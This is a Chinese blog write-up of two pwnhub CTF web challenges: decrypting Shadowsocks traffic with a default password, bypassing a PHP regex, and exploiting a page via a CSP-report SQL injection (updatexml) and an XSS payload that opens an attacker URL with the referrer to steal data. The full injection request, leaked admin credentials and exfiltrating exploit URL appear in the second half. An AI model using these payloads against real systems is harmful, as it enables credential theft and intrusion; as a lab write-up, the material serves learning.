pwnhub沙龙web两则

国家保卫者

详情
Phith0n作为一个国家保卫者,最近发现国际网络中有一些奇怪的数据包,他取了一个最简单的(神秘代码 123456 ),希望能分析出有趣的东西来。
 
更新
2017.08.12 15:34:12关键字:8388端口是干嘛的、默认配置是什么、神秘代码的意义是什么
流量包和源码已打包:https://files.cnblogs.com/files/iamstudy/pwnhub_shalong_misc_web.zip
 
网上找了一下8388端口,是ss的端口,默认aes-256-cfb加密,密码是123456
当然开始还以为能够直接用openssl解密,但是后面看shadowsocks源码的时候发现,里面带了了encrypt.py的模块
 
所以把原字符编码一下为base64,然后可以解密得到明文
 
1 import encrypt
2 import base64
3 
4 data = base64.b64decode('42OD3G1YaO9KlKBcVkXHdxb3VpCCp69eitx4wLApuc9lLLdyupru2WoZaGtLi8ssCR6U2NgymhEcoVdC+yrFERJK0ythDK3k48YFPVr1R1P0GUAd5+/i6S2Ho/DqdIM31Wp2VpE3aieINsuH++Rpd5tjYKAvDGRmPn/crVRUS9VQIOtE2Bn/y9pjr0K8pBoXOSiyjYwCuPZ1J4bkbARLe05bFsCdy0ecP5FxKqqeqkOkVz0TIsi80iK9UmbXDZgduyHD4Gk6W/9S6Fwk0KL7PLSF4rZorXjVvbFspi1cRXG3kFWG/HD3yBS7zv/0')
5 a = encrypt.Encryptor('123456','aes-256-cfb')
6 print a.decrypt(data)

下载源码

一开始看的时候,想着能不能通过竞争来读取文件,也就是当我读文件的时候open_basedir是会被write写完数据后被设置为网站根目录,这时候就可以读取
 
 
后面本地试了试,总是不能出,感觉应该是p师傅环境出问题了,后面增加了代码,这属于非预期。那就继续看看预期解法
write_cache的文件名和内容都会经过这个函数,最后就是用file_put_contents写入文件

用\A、\z而不用^、$是因为php换行符能通过后者,可以加入D修饰符,或者使用\A、\z
再看看file_put_contents函数参数
 
 
所以data可以用数组绕过正则

顺便回顾一下前一段时间说的参数里面的flag是可以用数字8代替
 

改行做前端

详情
Phithon最近考虑改行做前端,这是他写的第一个页面:
http://54.222.168.105:8065/(所有测试在Chrome 60 + 默认配置下进行)
 
更新
2017.08.12 15:56:54后台代码:
<a href="<?=htmlspecialchars($url)?>" target="_blank"><?=htmlspecialchars($url)?></a>

管理员会点击并查看,但要考虑浏览器的过滤。

这个先是有点莫名其妙的感觉触发到了csp的报告功能,而且发现里面还有注入
 
POST /report HTTP/1.1
Host: 54.222.168.105:8065
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 263
Content-Type: application/csp-report
Connection: close

{"csp-report":{"blocked-uri":"http://119.4.249.166:8080","document-uri":"http://54.222.168.105:8065/?error=;","original-policy":"a","referrer":"","violated-directive":"'or updatexml(1,concat(0x3a,(select substr(password,22,40) from adminuser limit 1,1)),1) or'"}}
得到账号密码caibiph — pwn6628101
 
当然这个也并非莫名其妙
 
 
csp里面有一个report-uri报告等功能,也就是当违反csp的时候就会发送这样的请求
xss输出点在<script>中
 
 
http://54.222.168.105:8065/?error=%3C/script%3E%3Csvg%3E%3Cscript%3E%7Balert(1)%2b%26apos%3B

wupco师傅的exp:
http://54.222.168.105:8065/?error=%0a}%3C/script%3E%3Csvg%3E%3Cscript%3E{var%20a=%20document.referrer;window.open(location.hash.substring(1)%2ba);//#http://ip/cookie.php?msg=

 

posted @ 2017-08-14 11:04  l3m0n  阅读(977)  评论(0编辑  收藏  举报